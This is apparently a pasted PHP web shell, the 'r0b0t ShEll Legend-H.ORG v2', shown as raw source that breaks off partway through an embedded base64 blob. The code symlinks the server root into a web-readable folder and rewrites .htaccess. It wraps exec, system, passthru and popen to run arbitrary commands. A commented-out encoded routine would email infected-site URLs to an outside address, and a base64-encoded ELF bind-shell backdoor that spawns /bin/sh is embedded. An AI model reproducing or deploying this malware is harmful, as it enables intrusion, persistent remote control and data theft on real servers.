· 10 years ago · Jan 18, 2016, 06:57 PM
1<?php
2$sh_id = "LT1dIHIwYjB0IFNoRWxsIHwgTGVnZW5kLUguT1JHIHYyWz0t";
3$sh_name = base64_decode($sh_id);
4$sh_mainurl = "http://mc-crew.org";
5$html_start = '<html><head>
6<link rel="shortcut icon" type="image/jpg" href="https://scontent-a.xx.fbcdn.net/hphotos-ash3/1236054_566471810079112_1243058504_n.jpg" />
7<title>r0b0t ShEll ® Legend-H.ORG v2</title>
8<style type="text/css">
9body,table { font-family:verdana;font-size:11px;color:#003300;background-color:transparent;background:#000;background-image: url("http://xr0b0tx.com/howtos.png");font-family: "Lucida Grande", Verdana, Arial, Sans-Serif;color: #820020; min-width:1024px;}
10table { width:100%; }
11.carapa tr:hover{background-color:silver}
12table,td { border:1px solid black;margin-top:2;margin-bottom:2;padding:5px; }
13a { color:#00FF00;text-decoration:none; }
14a:active { color:#00FF00; }
15a:link { color:#5B5BCC; }
16a:hover { text-decoration:underline; }
17a:visited { color:#99CCFF; }
18input,select,option { font:8pt tahoma;color:white;margin:2;border:1px solid lime; }
19textarea { color:lime;font:verdana bold;border:1px solid lime;margin:2; }
20.fleft { float:left;text-align:left; }
21.fright { float:right;text-align:right; }
22#pagebar { font:8pt tahoma;padding:5px; border:3px solid black; border-collapse:collapse; }
23#pagebar td { vertical-align:top; }
24#pagebar p { font:8pt tahoma;}
25#pagebar a { font-weight:bold;color:#00FF00; }
26#pagebar a:visited { color:#00CE00; }
27#mainmenu { text-align:center; }
28#mainmenu a { text-align: center;padding: 0px 5px 0px 5px; }
29#maininfo,.barheader,.barheader2 { text-align:center; }
30table tr:hover{color:#00FF00;text-decoration:none; background-color:#003300}
31#maininfo td { padding:3px; }
32.barheader { font-weight:bold;padding:5px; }
33.barheader2 { padding:5px;border:2px solid black; }
34.contents,.explorer { border-collapse:collapse;}
35.contents td { vertical-align:top; }
36.mainpanel { border-collapse:collapse;padding:5px; }
37.barheader,.mainpanel table,td { border:1px solid green; }
38.mainpanel input,select,option { border:1px solid black;margin:0; }
39input[type="submit"] { border:1px solid lime; }
40input[type="text"] { padding:3px;}
41.shell { background-color:black;color:black;padding:5px; }
42.fxerrmsg { color:red; font-weight:bold; }
43#pagebar,#pagebar p,h1,h2,h3,h4,form { margin:0; }
44#pagebar,.mainpanel,input[type="submit"] { background-color:black; }
45.barheader2,input,select,option,input[type="submit"]:hover { background-color:transparent; }
46textarea,.mainpanel input,select,option { background-color:black; }
47</style>
48</head>
49<body>
50';
51$login = "";
52$pass = "";
53$md5_pass = "";
54$host_allow = array("*");
55$login_txt = "Restricted Area";
56$accessdeniedmess = "<body bgcolor=transparent><a href=\"$sh_mainurl\"><font color=lime>".$sh_name."</font></a>: <font color=red>access denied</font></body>";
57$gzipencode = TRUE;
58$filestealth = TRUE;
59$curdir = "./";
60$tmpdir = "";
61$tmpdir_log = "./";
62$log_email = "r0b0t@legend-h.org";
63$sort_default = "0a";
64$sort_save = TRUE;
65$sess_cookie = "capriv8vars";
66$usefsbuff = TRUE;
67$copy_unset = FALSE;
68$hexdump_lines = 8;
69$hexdump_rows = 24;
70$win = strtolower(substr(PHP_OS,0,3)) == "win";
71$disablefunc = @ini_get("disable_functions");
72@mkdir('sym',0777);
73$htcs = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
74$f =@fopen ('sym/.htaccess','w');
75fwrite($f , $htcs);
76@symlink("/","sym/root");
77if (!empty($disablefunc)) {
78 $disablefunc = str_replace(" ","",$disablefunc);
79 $disablefunc = explode(",",$disablefunc);
80}
81function get_phpini() {
82 function U_wordwrap($str) {
83 $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
84 return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
85 }
86 function U_value($value) {
87 if ($value == '') return '<i>no value</i>';
88 if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
89 if ($value === null) return 'NULL';
90 if (@is_object($value)) $value = (array) $value;
91 if (@is_array($value)) {
92 @ob_start();
93 print_r($value);
94 $value = @ob_get_contents();
95 @ob_end_clean();
96 }
97 return U_wordwrap((string) $value);
98 }
99 if (@function_exists('ini_get_all')) {
100 $r = "";
101 echo "<table><tr class=barheader><td>Directive</td><td>Local Value</td><td>Global Value</td></tr>";
102 foreach (@ini_get_all() as $key=>$value) {
103 $r .= "<tr><td>".$key."</td><td><div align=center>".U_value($value['local_value'])."</div></td><td><div align=center>".U_value($value['global_value'])."</div></td></tr>";
104 }
105 echo $r;
106 echo "</table>";
107 }
108}
109function disp_drives($curdir,$surl) {
110 $letters = "";
111 $v = explode("\\",$curdir);
112 $v = $v[0];
113 foreach (range("A","Z") as $letter) {
114 $bool = $isdiskette = $letter == "A";
115 if (!$bool) {$bool = is_dir($letter.":\\");}
116 if ($bool) {
117 $letters .= "<a href=\"".$surl."x=ls&d=".urlencode($letter.":\\")."\"".
118 ($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"")."> [";
119 if ($letter.":" != $v) {$letters .= $letter;}
120 else {$letters .= "<font color=yellow>".$letter."</font>";}
121 $letters .= "]</a> ";
122 }
123 }
124 if (!empty($letters)) {Return $letters;}
125 else {Return "None";}
126}
127if (is_callable("disk_free_space")) {
128 function disp_freespace($curdrv) {
129 $free = disk_free_space($curdrv);
130 $total = disk_total_space($curdrv);
131 if ($free === FALSE) {$free = 0;}
132 if ($total === FALSE) {$total = 0;}
133 if ($free < 0) {$free = 0;}
134 if ($total < 0) {$total = 0;}
135 $used = $total-$free;
136 $free_percent = round(100/($total/$free),2)."%";
137 $free = view_size($free);
138 $total = view_size($total);
139 return "$free of $total ($free_percent)";
140 }
141}
142if (!function_exists("myshellexec")) {
143 if(is_callable("popen")) {
144 function myshellexec($cmd) {
145 if (!($p=popen("($cmd)2>&1","r"))) { return "popen Disabled!"; }
146 while (!feof($p)) {
147 $line=fgets($p,1024);
148 $out .= $line;
149 }
150 pclose($p);
151 return $out;
152 }
153 } else {
154 function myshellexec($cmd) {
155 global $disablefunc;
156 $result = "";
157 if (!empty($cmd)) {
158 if (is_callable("exec") and !in_array("exec",$disablefunc)) {
159 exec($cmd,$result);
160 $result = join("\n",$result);
161 } elseif (($result = $cmd) !== FALSE) {
162 } elseif (is_callable("system") and !in_array("system",$disablefunc)) {
163 $v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;
164 } elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {
165 $v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;
166 } elseif (is_resource($fp = popen($cmd,"r"))) {
167 $result = "";
168 while(!feof($fp)) { $result .= fread($fp,1024); }
169 pclose($fp);
170 }
171 }
172 return $result;
173 }
174 }
175}
176function ex($cfe) {
177 $res = '';
178 if (!empty($cfe)) {
179 if(function_exists('exec')) {
180 @exec($cfe,$res);
181 $res = join("\n",$res);
182 } elseif(function_exists('shell_exec')) {
183 $res = @shell_exec($cfe);
184 } elseif(function_exists('system')) {
185 @ob_start();
186 @system($cfe);
187 $res = @ob_get_contents();
188 @ob_end_clean();
189 } elseif(function_exists('passthru')) {
190 @ob_start();
191 @passthru($cfe);
192 $res = @ob_get_contents();
193 @ob_end_clean();
194 } elseif(@is_resource($f = @popen($cfe,"r"))) {
195 $res = "";
196 while(!@feof($f)) { $res .= @fread($f,1024); }
197 @pclose($f);
198 } else { $res = "Ex() Disabled!"; }
199 }
200 return $res;
201}
202function which($pr) {
203 $path = ex("which $pr");
204 if(!empty($path)) { return $path; } else { return $pr; }
205}
206
207$hostname_x = php_uname(n);
208$itshome = getcwd();
209if (!$win) {
210 $itshome = str_replace("/home/","~",$itshome);
211 $itshome = str_replace("/public_html","/ca.php",$itshome);
212}
213else { $itshome = ""; }
214$enumerate = "http://".$hostname_x."/".$itshome."";
215
216
217$Lversion = php_uname(r);
218$OSV = php_uname(s);
219
220
221
222/***
223php mailnya di sini
224$shell_data = "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3VudCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAkdGFyZ2V0ID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7ICRib2R5ID0gIkJvc3MsIHRoZXJlIHdhcyBhbiBpbmplY3RlZCB0YXJnZXQgb24gJHRhcmdldCBieSAkdmlzaXRvciI7IEBtYWlsKCJ4cnQuY3liZXJwb2xAZ21haWwuY29tIiwicjBiMHQgU2hlbGwgfCBMZWdlbmQtSC5PUkcgaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiLCAiJGJvZHkiKTsgfSBlbHNlIHsgJHZpc2l0Y291bnQ7IH0gc2V0Y29va2llKCJ2aXNpdHMiLCR2aXNpdGNvdW50KTs="; eval(base64_decode($shell_data));
225***/
226
227$backdoor = "f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAA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